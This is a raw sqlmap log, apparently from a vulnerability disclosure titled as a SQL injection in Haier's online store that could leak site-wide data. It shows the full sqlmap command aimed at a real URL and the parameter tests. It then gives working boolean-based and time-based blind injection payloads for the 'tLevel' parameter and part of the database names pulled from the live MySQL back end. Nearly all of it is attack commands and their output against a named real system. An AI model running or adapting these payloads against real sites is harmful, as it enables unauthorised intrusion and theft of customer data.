info testing mysql_海尔官方商城某处SQL注入可泄露全网数据

[[email protected]~]# Sqlmap Sqlmap -u "http://fw.rrs.com/snaplb/FAQ/FAQList?tLevel=33480a48-0f72-489a-b209-16a7e0331634&pageNum=1&pageSize=5" --dbssqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap[*] starting at 15:10:01[15:10:02] [INFO] testing connection to the target URL

[15:10:02] [INFO] heuristics detected web page charset 'ISO-8859-2'

[15:10:03] [INFO] testing if the target URL is stable. This can take a couple of seconds

[15:10:04] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are

how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] y

[15:10:06] [INFO] testing if GET parameter 'tLevel' is dynamic

[15:10:07] [INFO] confirming that GET parameter 'tLevel' is dynamic

[15:10:07] [INFO] GET parameter 'tLevel' is dynamic

[15:10:08] [WARNING] heuristic (basic) test shows that GET parameter 'tLevel' might not be injectable

[15:10:08] [INFO] testing for SQL injection on GET parameter 'tLevel'

[15:10:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[15:10:13] [INFO] GET parameter 'tLevel' is 'AND boolean-based blind - WHERE or HAVING clause' injectable

[15:10:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[15:10:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[15:10:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[15:10:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[15:10:21] [INFO] testing 'MySQL inline queries'

[15:10:21] [INFO] testing 'PostgreSQL inline queries'

[15:10:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[15:10:21] [INFO] testing 'Oracle inline queries'

[15:10:21] [INFO] testing 'SQLite inline queries'

[15:10:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:10:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries'

[15:10:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[15:10:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:11:22] [INFO] GET parameter 'tLevel' is 'MySQL > 5.0.11 AND time-based blind' injectable

[15:11:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[15:11:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[15:11:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

GET parameter 'tLevel' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

[15:12:04] [INFO] testing if GET parameter 'pageNum' is dynamic

[15:12:05] [INFO] confirming that GET parameter 'pageNum' is dynamic

[15:12:06] [INFO] GET parameter 'pageNum' is dynamic

[15:12:06] [WARNING] heuristic (basic) test shows that GET parameter 'pageNum' might not be injectable

[15:12:06] [INFO] testing for SQL injection on GET parameter 'pageNum'

[15:12:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[15:12:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[15:12:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[15:12:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[15:12:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[15:12:09] [INFO] testing 'MySQL inline queries'

[15:12:09] [INFO] testing 'PostgreSQL inline queries'

[15:12:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[15:12:09] [INFO] testing 'Oracle inline queries'

[15:12:09] [INFO] testing 'SQLite inline queries'

[15:12:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:12:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'

[15:12:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[15:12:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:12:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[15:12:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[15:12:12] [INFO] testing 'Oracle AND time-based blind'

[15:12:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:12:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:12:26] [WARNING] GET parameter 'pageNum' is not injectable

[15:12:26] [INFO] testing if GET parameter 'pageSize' is dynamic

[15:12:27] [INFO] confirming that GET parameter 'pageSize' is dynamic

[15:12:27] [INFO] GET parameter 'pageSize' is dynamic

[15:12:27] [WARNING] heuristic (basic) test shows that GET parameter 'pageSize' might not be injectable

[15:12:27] [INFO] testing for SQL injection on GET parameter 'pageSize'

[15:12:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[15:12:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[15:12:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[15:12:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[15:12:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[15:12:30] [INFO] testing 'MySQL inline queries'

[15:12:31] [INFO] testing 'PostgreSQL inline queries'

[15:12:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[15:12:31] [INFO] testing 'Oracle inline queries'

[15:12:31] [INFO] testing 'SQLite inline queries'

[15:12:31] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:12:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'

[15:12:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[15:12:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:12:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[15:12:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[15:12:34] [INFO] testing 'Oracle AND time-based blind'

[15:12:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:12:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:12:47] [WARNING] GET parameter 'pageSize' is not injectable

sqlmap identified the following injection points with a total of 439 HTTP(s) requests:

---

Place: GET

Parameter: tLevel

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: tLevel=33480a48-0f72-489a-b209-16a7e0331634' AND 2704=2704 AND 'shJS'='shJS&pageNum=1&pageSize=5Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: tLevel=33480a48-0f72-489a-b209-16a7e0331634' AND SLEEP(5) AND 'LABx'='LABx&pageNum=1&pageSize=5

---

[15:12:47] [INFO] the back-end DBMS is MySQL

web application technology: Nginx, JSP

back-end DBMS: MySQL 5.0.11

[15:12:47] [INFO] fetching database names

[15:12:47] [INFO] fetching number of databases

[15:12:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[15:12:47] [INFO] retrieved: 18

[15:12:54] [INFO] retrieved: information_schema

[15:14:17] [INFO] retrieved: aijia

[15:14:43] [INFO] retrieved: hibernate

[15:15:26] [INFO] retrieved: huxing

[15:15:57] [INFO] retrieved: iudp_basedata

[15:17:03] [INFO] retrieved: iudp_huxing

[15:17:59] [INFO] retrieved: iudp_rbac

[15:18:46] [INFO] retrieved: iudp_sh